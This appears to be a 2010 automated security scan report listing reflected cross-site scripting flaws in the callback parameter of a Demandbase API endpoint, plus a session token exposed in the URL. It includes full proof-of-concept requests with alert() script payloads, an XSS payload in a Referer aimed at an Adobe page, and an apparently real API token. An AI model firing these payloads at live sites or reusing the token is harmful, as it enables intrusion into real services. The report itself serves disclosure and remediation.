Report generated by XSS.CX at Fri Nov 12 07:35:06 EST 2010.

Cross Site Scripting Reports | Hoyt LLC Research

1.1. http://api.demandbase.com/api/v2/ip.json [callback parameter]

1.2. http://api.demandbase.com/api/v2/ip.json [callback parameter]

1. Cross-site scripting (reflected) next
There are 2 instances of this issue:

/api/v2/ip.json [callback parameter]
/api/v2/ip.json [callback parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://api.demandbase.com/api/v2/ip.json [callback parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.demandbase.com
Path:	/api/v2/ip.json

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 8dc66<script>alert(1)</script>20f99a97c1a was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /api/v2/ip.json?token=e7eb903cdfccaf78beacd5577ee4d3d7b914a07e&query=C.I.D.R&callback=8dc66<script>alert(1)</script>20f99a97c1a HTTP/1.1
Host: api.demandbase.com
Proxy-Connection: keep-alive
Referer: http://volumelicensing.adobe.com/store/adbevlus/DisplayHomePage?22bf9--%3E%3Cscript%3Ealert(1)%3C/script%3EHoyt.LLC.XSS.PoC
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Api-Version: v2
Content-Type: application/javascript;charset=utf-8
Date: Fri, 12 Nov 2010 03:06:58 GMT
Server: Apache
Status: 200
Vary: Accept-Encoding
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
Connection: keep-alive
Content-Length: 251

8dc66<script>alert(1)</script>20f99a97c1a({"registry_city":"Miami","registry_state":"FL","registry_company_name":"TERREMARK VCLOUD","registry_zip_code":null,"isp":true,"ip":"C.I.D.R","registry_area_code":305,"registry_country":"United
...[SNIP]...

1.2. http://api.demandbase.com/api/v2/ip.json [callback parameter] previous

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.demandbase.com
Path:	/api/v2/ip.json

Issue detail

The value of the callback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload ccbcf%3balert(1)//f7d730528c2 was submitted in the callback parameter. This input was echoed as ccbcf;alert(1)//f7d730528c2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /api/v2/ip.json?token=e7eb903cdfccaf78beacd5577ee4d3d7b914a07e&query=C.I.D.R&callback=lpOpenPlatformNS.DemandBase.callback_functionccbcf%3balert(1)//f7d730528c2 HTTP/1.1
Host: api.demandbase.com
Proxy-Connection: keep-alive
Referer: http://volumelicensing.adobe.com/store/adbevlus/DisplayHomePage?22bf9--%3E%3Cscript%3Ealert(1)%3C/script%3EHoyt.LLC.XSS.PoC
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Api-Version: v2
Content-Type: application/javascript;charset=utf-8
Date: Fri, 12 Nov 2010 03:06:56 GMT
Server: Apache
Status: 200
Vary: Accept-Encoding
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
Connection: keep-alive
Content-Length: 282

lpOpenPlatformNS.DemandBase.callback_functionccbcf;alert(1)//f7d730528c2({"registry_city":"Miami","registry_state":"FL","registry_company_name":"TERREMARK VCLOUD","registry_zip_code":null,"isp":true,"ip":"C.I.D.R","registry_area_code":305,"registry_country":"United
...[SNIP]...

2. Session token in URL previous

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://api.demandbase.com
Path:	/api/v2/ip.json

Issue detail

The URL in the request appears to contain a session token within the query string:

http://api.demandbase.com/api/v2/ip.json?token=e7eb903cdfccaf78beacd5577ee4d3d7b914a07e&query=C.I.D.R&callback=lpOpenPlatformNS.DemandBase.callback_function

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

Request

GET /api/v2/ip.json?token=e7eb903cdfccaf78beacd5577ee4d3d7b914a07e&query=C.I.D.R&callback=lpOpenPlatformNS.DemandBase.callback_function HTTP/1.1
Host: api.demandbase.com
Proxy-Connection: keep-alive
Referer: http://volumelicensing.adobe.com/store/adbevlus/DisplayHomePage?22bf9--%3E%3Cscript%3Ealert(1)%3C/script%3EHoyt.LLC.XSS.PoC
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Api-Version: v2
Content-Type: application/javascript;charset=utf-8
Date: Fri, 12 Nov 2010 03:06:10 GMT
Server: Apache
Status: 200
Vary: Accept-Encoding
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
Connection: keep-alive
Content-Length: 255

lpOpenPlatformNS.DemandBase.callback_function({"registry_city":"Miami","registry_state":"FL","registry_company_name":"TERREMARK VCLOUD","registry_zip_code":null,"isp":true,"ip":"C.I.D.R","regis
...[SNIP]...

Report generated by XSS.CX at Fri Nov 12 07:35:06 EST 2010.

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